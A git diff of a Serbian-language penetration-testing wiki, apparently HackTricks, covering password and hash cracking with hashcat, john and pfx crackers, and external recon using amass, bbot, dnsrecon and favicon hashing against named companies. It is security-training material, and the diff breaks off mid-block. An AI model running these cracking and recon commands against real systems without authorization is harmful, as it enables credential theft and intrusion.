./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||||
# From https://github.com/crackpkcs12/crackpkcs12
|
# From https://github.com/crackpkcs12/crackpkcs12
|
||||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
|
@ -664,10 +790,12 @@ Dobijte pristup danas:
|
||||||
**Primeri hešova:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
**Primeri hešova:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||||
|
|
||||||
### Identifikator heša
|
### Identifikator heša
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hash-identifier
|
hash-identifier
|
||||||
> <HASH>
|
> <HASH>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Wordlists
|
### Wordlists
|
||||||
|
|
||||||
* **Rockyou**
|
* **Rockyou**
|
||||||
|
@ -678,16 +806,20 @@ hash-identifier
|
||||||
### **Alati za generisanje wordlisti**
|
### **Alati za generisanje wordlisti**
|
||||||
|
|
||||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, keymap-om i rutama.
|
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim osnovnim karakterima, keymap-om i rutama.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Džonova mutacija
|
### Džonova mutacija
|
||||||
|
|
||||||
Pročitaj _**/etc/john/john.conf**_ i konfiguriši ga
|
Pročitaj _**/etc/john/john.conf**_ i konfiguriši ga
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||||
```
|
```
|
||||||
|
|
||||||
### Hashcat
|
### Hashcat
|
||||||
|
|
||||||
#### Hashcat napadi
|
#### Hashcat napadi
|
||||||
|
@ -695,13 +827,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||||
* **Napad sa listom reči** (`-a 0`) sa pravilima
|
* **Napad sa listom reči** (`-a 0`) sa pravilima
|
||||||
|
|
||||||
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||||
|
|
||||||
```
|
```
|
||||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Napad kombinatora liste reči**
|
* **Napad kombinatora liste reči**
|
||||||
|
|
||||||
Moguće je **kombinovati 2 liste reči u 1** pomoću hashcat-a.\
|
Moguće je **kombinovati 2 liste reči u 1** pomoću hashcat-a.\
|
||||||
Ako lista 1 sadrži reč **"hello"** a druga sadrži 2 linije sa rečima **"world"** i **"earth"**. Biće generisane reči `helloworld` i `helloearth`.
|
Ako lista 1 sadrži reč **"hello"** a druga sadrži 2 linije sa rečima **"world"** i **"earth"**. Biće generisane reči `helloworld` i `helloearth`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# This will combine 2 wordlists
|
# This will combine 2 wordlists
|
||||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||||
|
@ -712,7 +847,9 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||||
## hello-earth!
|
## hello-earth!
|
||||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Mask napad** (`-a 3`)
|
* **Mask napad** (`-a 3`)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Mask attack with simple mask
|
# Mask attack with simple mask
|
||||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||||||
|
@ -744,7 +881,9 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||||
## Use it to crack the password
|
## Use it to crack the password
|
||||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||||
```
|
```
|
||||||
|
|
||||||
* Napad sa listom reči + maskom (`-a 6`) / Maskom + listom reči (`-a 7`)
|
* Napad sa listom reči + maskom (`-a 6`) / Maskom + listom reči (`-a 7`)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Mask numbers will be appended to each word in the wordlist
|
# Mask numbers will be appended to each word in the wordlist
|
||||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||||
|
@ -752,19 +891,24 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||||
# Mask numbers will be prepended to each word in the wordlist
|
# Mask numbers will be prepended to each word in the wordlist
|
||||||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Hashcat režimi
|
#### Hashcat režimi
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Brute Forcing
|
### Brute Forcing
|
||||||
|
|
||||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method to recover passwords. There are various tools available that can automate the brute forcing process, such as John the Ripper and Hashcat. These tools use different algorithms and techniques to efficiently crack passwords. It is important to use strong wordlists and rules to increase the chances of success when brute forcing Linux hashes.
|
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method to recover passwords. There are various tools available that can automate the brute forcing process, such as John the Ripper and Hashcat. These tools use different algorithms and techniques to efficiently crack passwords. It is important to use strong wordlists and rules to increase the chances of success when brute forcing Linux hashes.
|
||||||
|
|
||||||
```
|
```
|
||||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||||
```
|
```
|
||||||
|
|
||||||
## Brute Forcing Windows Hashes
|
## Brute Forcing Windows Hashes
|
||||||
|
|
||||||
### Introduction
|
### Introduction
|
||||||
|
@ -778,22 +922,20 @@ There are several tools available for brute forcing Windows hashes, such as **Jo
|
||||||
### Methodology
|
### Methodology
|
||||||
|
|
||||||
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory.
|
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory.
|
||||||
|
|
||||||
2. **Choose a Tool**: Select a suitable tool for brute forcing the hash. **John the Ripper** is a popular choice for this purpose.
|
2. **Choose a Tool**: Select a suitable tool for brute forcing the hash. **John the Ripper** is a popular choice for this purpose.
|
||||||
|
|
||||||
3. **Create Wordlist**: Generate a wordlist that contains potential passwords to try during the brute force attack. This wordlist can be created using tools like **Crunch** or **Cewl**.
|
3. **Create Wordlist**: Generate a wordlist that contains potential passwords to try during the brute force attack. This wordlist can be created using tools like **Crunch** or **Cewl**.
|
||||||
|
|
||||||
4. **Initiate Brute Force Attack**: Use the chosen tool to start the brute force attack against the Windows hash. The tool will systematically try all possible password combinations until the correct one is found.
|
4. **Initiate Brute Force Attack**: Use the chosen tool to start the brute force attack against the Windows hash. The tool will systematically try all possible password combinations until the correct one is found.
|
||||||
|
|
||||||
5. **Crack the Hash**: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system.
|
5. **Crack the Hash**: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system.
|
||||||
|
|
||||||
### Conclusion
|
### Conclusion
|
||||||
|
|
||||||
Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack even the most secure passwords. It is important to use this knowledge responsibly and only for ethical hacking purposes.
|
Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack even the most secure passwords. It is important to use this knowledge responsibly and only for ethical hacking purposes.
|
||||||
|
|
||||||
```
|
```
|
||||||
3000 | LM | Operating-Systems
|
3000 | LM | Operating-Systems
|
||||||
1000 | NTLM | Operating-Systems
|
1000 | NTLM | Operating-Systems
|
||||||
```
|
```
|
||||||
|
|
||||||
## Brute-Force
|
## Brute-Force
|
||||||
|
|
||||||
### Dictionary Attacks
|
### Dictionary Attacks
|
||||||
|
@ -802,8 +944,8 @@ Dictionary attacks are a type of brute-force attack that uses a predefined list
|
||||||
|
|
||||||
#### Tools
|
#### Tools
|
||||||
|
|
||||||
- **John the Ripper**: A popular password-cracking tool that can perform dictionary attacks among other types of attacks.
|
* **John the Ripper**: A popular password-cracking tool that can perform dictionary attacks among other types of attacks.
|
||||||
- **Hashcat**: Another powerful password-cracking tool that supports dictionary attacks.
|
* **Hashcat**: Another powerful password-cracking tool that supports dictionary attacks.
|
||||||
|
|
||||||
### Brute-Force Attacks
|
### Brute-Force Attacks
|
||||||
|
|
||||||
|
@ -811,8 +953,8 @@ Brute-force attacks systematically try every possible combination of characters
|
||||||
|
|
||||||
#### Tools
|
#### Tools
|
||||||
|
|
||||||
- **Hydra**: A fast and flexible password-cracking tool that supports various protocols and services.
|
* **Hydra**: A fast and flexible password-cracking tool that supports various protocols and services.
|
||||||
- **Medusa**: Similar to Hydra, Medusa is a speedy, parallel password-cracking tool.
|
* **Medusa**: Similar to Hydra, Medusa is a speedy, parallel password-cracking tool.
|
||||||
|
|
||||||
### Rainbow Tables
|
### Rainbow Tables
|
||||||
|
|
||||||
|
@ -820,8 +962,9 @@ Rainbow tables are precomputed tables used in password-cracking to accelerate th
|
||||||
|
|
||||||
#### Tools
|
#### Tools
|
||||||
|
|
||||||
- **RainbowCrack**: A tool that can generate and use rainbow tables to crack password hashes.
|
* **RainbowCrack**: A tool that can generate and use rainbow tables to crack password hashes.
|
||||||
- **Ophcrack**: A Windows-based password cracker that uses rainbow tables to perform password-cracking attacks.
|
* **Ophcrack**: A Windows-based password cracker that uses rainbow tables to perform password-cracking attacks.
|
||||||
|
|
||||||
```
|
```
|
||||||
900 | MD4 | Raw Hash
|
900 | MD4 | Raw Hash
|
||||||
0 | MD5 | Raw Hash
|
0 | MD5 | Raw Hash
|
||||||
|
@ -831,6 +974,7 @@ Rainbow tables are precomputed tables used in password-cracking to accelerate th
|
||||||
1400 | SHA-256 | Raw Hash
|
1400 | SHA-256 | Raw Hash
|
||||||
1700 | SHA-512 | Raw Hash
|
1700 | SHA-512 | Raw Hash
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Metodologija spoljnog istraživanja
|
# External Recon Methodology
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -47,12 +47,15 @@ AS se sastoji od **blokova** IP adresa koji imaju jasno definisanu politiku za p
|
||||||
Interesantno je saznati da li **kompanija ima dodeljen bilo koji ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\
|
Interesantno je saznati da li **kompanija ima dodeljen bilo koji ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\
|
||||||
Možete **pretraživati** po imenu kompanije, po **IP**-u ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
Možete **pretraživati** po imenu kompanije, po **IP**-u ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||||
**Zavisno od regiona kompanije, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su svi** korisni podaci **(IP opsezi i Whois)** već dostupni na prvom linku.
|
**Zavisno od regiona kompanije, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su svi** korisni podaci **(IP opsezi i Whois)** već dostupni na prvom linku.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#You can try "automate" this with amass, but it's not very recommended
|
#You can try "automate" this with amass, but it's not very recommended
|
||||||
amass intel -org tesla
|
amass intel -org tesla
|
||||||
amass intel -asn 8911,50313,394161
|
amass intel -asn 8911,50313,394161
|
||||||
```
|
```
|
||||||
|
|
||||||
Takođe, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**-ova** enumeracija poddomena automatski agregira i sumira ASN-ove na kraju skeniranja.
|
Takođe, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**-ova** enumeracija poddomena automatski agregira i sumira ASN-ove na kraju skeniranja.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bbot -t tesla.com -f subdomain-enum
|
bbot -t tesla.com -f subdomain-enum
|
||||||
...
|
...
|
||||||
|
@ -69,6 +72,7 @@ bbot -t tesla.com -f subdomain-enum
|
||||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete pronaći IP opsege organizacije takođe koristeći [http://asnlookup.com/](http://asnlookup.com) (ima besplatan API).\
|
Možete pronaći IP opsege organizacije takođe koristeći [http://asnlookup.com/](http://asnlookup.com) (ima besplatan API).\
|
||||||
Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4info.com).
|
Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4info.com).
|
||||||
|
|
||||||
|
@ -89,12 +93,14 @@ Prvo biste trebali potražiti **glavni domen(e)** svake kompanije. Na primer, za
|
||||||
### **Obrnuti DNS**
|
### **Obrnuti DNS**
|
||||||
|
|
||||||
Kada ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute DNS upite** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki dobro poznati DNS server (1.1.1.1, 8.8.8.8)
|
Kada ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute DNS upite** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki dobro poznati DNS server (1.1.1.1, 8.8.8.8)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Obrnuti Whois (petlja)**
|
### **Obrnuti Whois (petlja)**
|
||||||
|
|
||||||
Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\
|
Unutar **whois** informacija možete pronaći mnogo zanimljivih **podataka** poput **imenovanja organizacije**, **adrese**, **emailova**, brojeva telefona... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\
|
||||||
|
@ -129,19 +135,24 @@ Postoje neke stranice i alati koji vam omogućavaju pretragu po ovim trackerima
|
||||||
### **Favicon**
|
### **Favicon**
|
||||||
|
|
||||||
Da li ste znali da možemo pronaći povezane domene i pod-domenove našeg cilja tražeći isti hash ikone favicona? To je upravo ono što alat [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) napravljen od strane [@m4ll0k2](https://twitter.com/m4ll0k2) radi. Evo kako ga koristiti:
|
Da li ste znali da možemo pronaći povezane domene i pod-domenove našeg cilja tražeći isti hash ikone favicona? To je upravo ono što alat [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) napravljen od strane [@m4ll0k2](https://twitter.com/m4ll0k2) radi. Evo kako ga koristiti:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
```
|
```
|
||||||
|
|
||||||
![favihash - otkrijte domene sa istim hešom ikone favicon-a](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
![favihash - otkrijte domene sa istim hešom ikone favicon-a](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||||
|
|
||||||
Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon-a kao naš cilj.
|
Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon-a kao naš cilj.
|
||||||
|
|
||||||
Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti u shodanu i **pronaći više ranjivih mesta**:
|
Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije** možete pretražiti u shodanu i **pronaći više ranjivih mesta**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||||
```
|
```
|
||||||
|
|
||||||
Evo kako možete **izračunati heš favicon-a** veb stranice:
|
Evo kako možete **izračunati heš favicon-a** veb stranice:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import mmh3
|
import mmh3
|
||||||
import requests
|
import requests
|
||||||
|
@ -154,6 +165,7 @@ fhash = mmh3.hash(favicon)
|
||||||
print(f"{url} : {fhash}")
|
print(f"{url} : {fhash}")
|
||||||
return fhash
|
return fhash
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Autorsko pravo / Jedinstveni string**
|
### **Autorsko pravo / Jedinstveni string**
|
||||||
|
|
||||||
Pretražite unutar web stranica **stringove koji bi mogli biti deljeni između različitih veb sajtova u istoj organizaciji**. **String autorskog prava** može biti dobar primer. Zatim pretražite taj string na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"String autorskog prava"`
|
Pretražite unutar web stranica **stringove koji bi mogli biti deljeni između različitih veb sajtova u istoj organizaciji**. **String autorskog prava** može biti dobar primer. Zatim pretražite taj string na **google-u**, u drugim **pregledačima** ili čak na **shodan-u**: `shodan search http.html:"String autorskog prava"`
|
||||||
|
@ -161,10 +173,12 @@ Pretražite unutar web stranica **stringove koji bi mogli biti deljeni između r
|
||||||
### **CRT vreme**
|
### **CRT vreme**
|
||||||
|
|
||||||
Često je uobičajeno imati cron posao kao što je
|
Često je uobičajeno imati cron posao kao što je
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# /etc/crontab
|
# /etc/crontab
|
||||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Spoljni rekon metodologija**
|
### **Spoljni rekon metodologija**
|
||||||
|
|
||||||
Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važnosti, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\
|
Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u Vremenu važnosti, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\
|
||||||
|
@ -211,14 +225,17 @@ Vreme je da pronađemo sve moguće poddomene svakog pronađenog domena.
|
||||||
### **DNS**
|
### **DNS**
|
||||||
|
|
||||||
Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebalo bi da prijavite).
|
Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati za **Zone Transfer** (Ako je ranjiv, trebalo bi da prijavite).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -a -d tesla.com
|
dnsrecon -a -d tesla.com
|
||||||
```
|
```
|
||||||
|
|
||||||
### **OSINT**
|
### **OSINT**
|
||||||
|
|
||||||
Najbrži način da dobijete mnogo poddomena je pretraga u eksternim izvorima. Najkorišćeniji **alati** su sledeći (za bolje rezultate konfigurišite API ključeve):
|
Najbrži način da dobijete mnogo poddomena je pretraga u eksternim izvorima. Najkorišćeniji **alati** su sledeći (za bolje rezultate konfigurišite API ključeve):
|
||||||
|
|
||||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# subdomains
|
# subdomains
|
||||||
bbot -t tesla.com -f subdomain-enum
|
bbot -t tesla.com -f subdomain-enum
|
||||||
|
@ -229,55 +246,77 @@ bbot -t tesla.com -f subdomain-enum -rf passive
|
||||||
# subdomains + port scan + web screenshots
|
# subdomains + port scan + web screenshots
|
||||||
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
|
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**Amass**](https://github.com/OWASP/Amass)
|
* [**Amass**](https://github.com/OWASP/Amass)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
amass enum [-active] [-ip] -d tesla.com
|
amass enum [-active] [-ip] -d tesla.com
|
||||||
amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**subfinder**](https://github.com/projectdiscovery/subfinder)
|
* [**subfinder**](https://github.com/projectdiscovery/subfinder)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Subfinder, use -silent to only have subdomains in the output
|
# Subfinder, use -silent to only have subdomains in the output
|
||||||
./subfinder-linux-amd64 -d tesla.com [-silent]
|
./subfinder-linux-amd64 -d tesla.com [-silent]
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**findomain**](https://github.com/Edu4rdSHL/findomain/)
|
* [**findomain**](https://github.com/Edu4rdSHL/findomain/)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# findomain, use -silent to only have subdomains in the output
|
# findomain, use -silent to only have subdomains in the output
|
||||||
./findomain-linux -t tesla.com [--quiet]
|
./findomain-linux -t tesla.com [--quiet]
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/sr)
|
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/sr)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
|
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**assetfinder**](https://github.com/tomnomnom/assetfinder)
|
* [**assetfinder**](https://github.com/tomnomnom/assetfinder)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
assetfinder --subs-only <domain>
|
assetfinder --subs-only <domain>
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**Sudomy**](https://github.com/Screetsec/Sudomy)
|
* [**Sudomy**](https://github.com/Screetsec/Sudomy)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# It requires that you create a sudomy.api file with API keys
|
# It requires that you create a sudomy.api file with API keys
|
||||||
sudomy -d tesla.com
|
sudomy -d tesla.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**vita**](https://github.com/junnlikestea/vita)
|
* [**vita**](https://github.com/junnlikestea/vita)
|
||||||
|
|
||||||
```
|
```
|
||||||
vita -d tesla.com
|
vita -d tesla.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**theHarvester**](https://github.com/laramies/theHarvester)
|
* [**theHarvester**](https://github.com/laramies/theHarvester)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
